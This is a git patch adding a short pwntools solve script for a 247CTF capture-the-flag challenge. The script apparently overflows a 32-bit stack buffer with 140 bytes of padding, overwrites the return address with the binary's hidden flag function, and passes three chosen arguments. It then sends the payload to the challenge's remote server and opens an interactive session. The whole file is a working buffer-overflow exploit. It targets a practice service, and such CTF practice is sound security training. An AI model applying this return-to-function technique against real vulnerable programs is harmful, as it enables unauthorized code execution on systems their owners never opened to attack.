From 3167ec21819b002a5ed52e0e6893b312b249e429 Mon Sep 17 00:00:00 2001 From: jc Date: Thu, 12 Dec 2024 16:42:05 +0300 Subject: [PATCH] solve script --- 247ctf/hidden_flag_function_parameters/a.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 247ctf/hidden_flag_function_parameters/a.py diff --git a/247ctf/hidden_flag_function_parameters/a.py b/247ctf/hidden_flag_function_parameters/a.py new file mode 100644 index 0000000..68a7df7 --- /dev/null +++ b/247ctf/hidden_flag_function_parameters/a.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./hidden_flag_function_with_args", checksec=False) +# r = process() +r = remote("f3396cb78c7c71ca.247ctf.com", 50257) + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*140 +buf += p32(target.sym.flag) +buf += p32(0) +buf += p32(0x1337) +buf += p32(0x247) +buf += p32(0x12345678) +s(buf) + +r.interactive() \ No newline at end of file